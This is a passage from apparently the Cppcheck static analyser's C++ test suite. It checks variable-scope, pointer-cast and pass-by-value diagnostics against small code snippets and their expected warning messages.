str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class 